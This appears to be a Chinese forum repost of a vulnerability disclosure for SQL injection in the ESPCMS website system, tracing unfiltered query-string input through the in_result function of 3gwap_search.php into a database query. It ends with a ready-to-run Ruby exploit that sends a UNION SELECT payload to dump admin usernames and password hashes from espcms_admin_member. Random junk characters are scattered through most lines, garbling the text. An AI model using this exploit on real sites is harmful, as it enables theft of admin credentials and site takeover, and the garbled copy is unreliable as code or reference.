0×0 漏洞概述0×1 漏洞细节
" N# T9 F+ \! q. P4 N9 Q0×2 PoC) q+ F2 y4 E! `) E
1 z D/ `3 b, x! S7 v: t
7 y1 u2 O4 i2 g% @& P
% x1 _7 P5 |1 D# a2 c ]+ e8 y
0×0 漏洞概述
1 S5 n8 [+ k4 [3 d4 Y9 `
& q$ }+ Q/ E' m) b5 G$ {5 N易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
5 i2 g' p$ _6 o其在处理传入的参数时考虑不严谨导致SQL注入发生# y% `% @( h1 O
0 R7 v' d: @2 `/ R) ?/ P
& k% I2 G* {( U( O7 l- t0×1 漏洞细节
; D; g! a/ W6 M3 W% @, P4 i: N7 s7 `
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。: m; S* X9 ?/ Q% Q+ G" \( u5 T4 i
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
3 Q" T2 K& r+ k: e而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
( y; M* k3 d9 ^, l
7 Z! m) v+ e: K在/interface/3gwap_search.php文件的in_result函数中:
7 \( k, M( ?* ^( z: P2 }
/ R: T0 C+ x7 X, b! ~$ j0 ]/ N. i
8 F3 w9 I7 V) f, q1 e; _
( E5 s+ X$ G# Y. F# n' B8 N function in_result() {
0 M, |3 v) `3 q. h' E( a1 T ... ... ... ... ... ... ... ... ...
7 ]) E; u! a* i $urlcode = $_SERVER[ 'QUERY_STRING '];& Q1 h; b" f* h. a
parse_str(html_entity_decode($urlcode), $output);
$ x* G- `6 U& v* n7 ]
' A" P8 D/ R8 r8 n9 f! m! b ... ... ... ... ... ... ... ... ...1 e! o2 ]" [: \* A; _4 j, {, o$ |4 m
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
7 O0 k8 D7 A w+ [) x0 r
9 h z# }, G5 K $db_table = db_prefix . 'model_att';
! z7 [) L$ B- K' w( Z4 B
% M3 O+ Y5 `7 ~$ Q; Z Y foreach ($output['attr' ] as $key => $value) {
% d; [& a6 w% Z& ` if ($value) {& [# j8 U; L. N8 f
2 i1 |8 T9 a( g# I1 F! o
$key = addslashes($key);
5 \6 K" n. L0 B% s6 N( w $key = $this-> fun->inputcodetrim($key);
5 U( T& ]+ M b/ P% t" b1 Z $db_att_where = " WHERE isclass=1 AND attrname='$key'";# l' N, ~; q) E" H
$countnum = $this->db_numrows($db_table, $db_att_where);4 x$ [: q- N1 b+ P
if ($countnum > 0) {" C9 B7 X m4 g; M( o
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
7 X9 h/ j) t/ \, m) n }9 P, e- V- y; d2 o
}
5 j* W p' L& M5 {; L3 i8 Y0 e7 u }" t% L" R; z2 M% X3 I6 W8 q
}
, p, A- d& ^, \. G if (!empty ($keyword) && empty($keyname)) {
% u* R+ K* t+ o4 X, P% V# p: p @: e2 C $keyname = 'title';
4 L8 r: A: D* I. F7 h- P, J5 n $db_where.= " AND a.title like '%$keyword%'" ;
1 f7 ^5 T3 {% c1 [ c& a } elseif (!empty ($keyword) && !empty($keyname)) {4 V5 E9 y: g& L
$db_where.= " AND $keyname like '% $keyword%'";+ L: a) e1 O) `/ X. H0 U" R
}
- }" L* F2 Z8 K8 z3 i# X $pagemax = 15;
! v1 f( ]7 o& n# r: e' c# k/ x4 d/ k5 e
$pagesylte = 1;
! [" N _! V* W! ^$ P8 P) J0 H8 c+ Y6 c* d. e
if ($countnum > 0) {
/ F! N0 x- M7 \8 g' { N/ q4 P6 o# h: _! m
$numpage = ceil($countnum / $pagemax);
! `: g. L: r0 j7 S3 @ } else {
2 }" h s, E; `5 k $numpage = 1;
4 p! P( u- j3 w$ ~) ?6 b }
! y; |* Q2 u! ] $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;, G% P; J/ P& B
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
2 A" |+ Z7 J- {- Y5 Y$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);/ ?: w4 Q* d! c/ n t' H8 O
... ... ... ... ... ... ... ... ...
, ^: P+ N7 m6 g8 T }! b. ?3 G2 e3 z% ~8 o
3 ?5 H2 }2 g& G. X; V6 K
' e/ y/ k+ o$ j& B% G1 b* Y0×2 PoC
: _) R1 M2 E" _9 A# q+ m- Y7 m2 X
; {/ t3 z/ U0 \/ Q/ {% r2 E7 ?" E( G$ i
, q) ?7 [" ?2 M3 ~5 ]
require "net/http"
$ c" |0 D3 m2 X% q' p, z
/ U. T- F2 x. z3 D$ x& i9 ddef request(method, url)% E; U# A) X/ A- k$ q5 p5 ~0 K- v+ R
if method.eql?("get")
% M; q) B; z, B3 L uri = URI.parse(url)
8 I- U' t% h. ]5 G) S, \ http = Net::HTTP.new(uri.host, uri.port)
: [/ h D0 g) B# I response = http.request(Net::HTTP::Get.new(uri.request_uri))
+ Z1 X) f( R6 f! O( E/ l" [ return response- T! \/ X: ?) P$ ~: [, I
end5 S# E9 f7 g' X9 } _
end
) q0 t( F5 {% \) x" M5 A! t$ D4 E5 m# l
doc =<<HERE" l! ]% I# H1 r
-------------------------------------------------------) x5 P X% b7 g
Espcms Injection Exploit
2 D: y3 U# b9 hAuthor:ztz
7 p" ^7 M9 F% h; q1 U/ GBlog:http://ztz.fuzzexp.org/
% d. C9 x# X$ s* }$ ?8 R-------------------------------------------------------
9 {3 e, I3 b- D, Y0 U0 h: E& ^$ p- A5 |, t3 R3 w) Q4 _4 I1 o. u/ [
HERE7 R3 I$ ?& k9 q7 @
. f9 }6 @1 t4 {, a6 Q' [
usage =<<HERE
. Y: X: v( t3 j; q9 h6 H4 D/ WUsage: ruby #{$0} host port path
) m, c6 z% }* R! N" \example: ruby #{$0} www.target.com 80 /
' U) `) |4 q& a# q- tHERE
& d+ S* y/ _5 g" s. \
" @- x1 d/ S% y; aputs doc" V7 _( h5 X) W. c' i. ^+ T
if ARGV.length < 3) k6 |' F/ D/ o8 Q& u) w3 N W
puts usage
, l' J! Y, @/ b$ W+ h: J4 Zelse0 p8 R% J! h8 d! j
$host = ARGV[0]% R" d1 e& P7 X7 H% e
$port = ARGV[1], u' X& T) G& ~ ^" I
$path = ARGV[2]% u; V$ Y y+ i! Y2 E: u
( X7 F+ J8 z1 U7 n [9 l" N
puts "send request..."
4 B" O8 b$ \ p2 j$ C( h( @) _ url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&0 R) l2 @; v1 X) n# W
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,134 A3 F+ f& H) @7 }4 K8 g
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,277 B( U/ W5 X2 T
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
% [% [4 q; I4 c9 H) ]* _ response = request("get", url)
- L8 y4 K% N0 f( v result = response.body.scan(/\w+&\w{32}/)3 Y- {' H# r0 o7 R6 e5 a/ ~
puts result
# y7 E6 Z/ L& h e* n, E, Eend
5 _, Y+ e' D4 y# D
4 g5 B J! [% v9 y3 g% L, U2 G |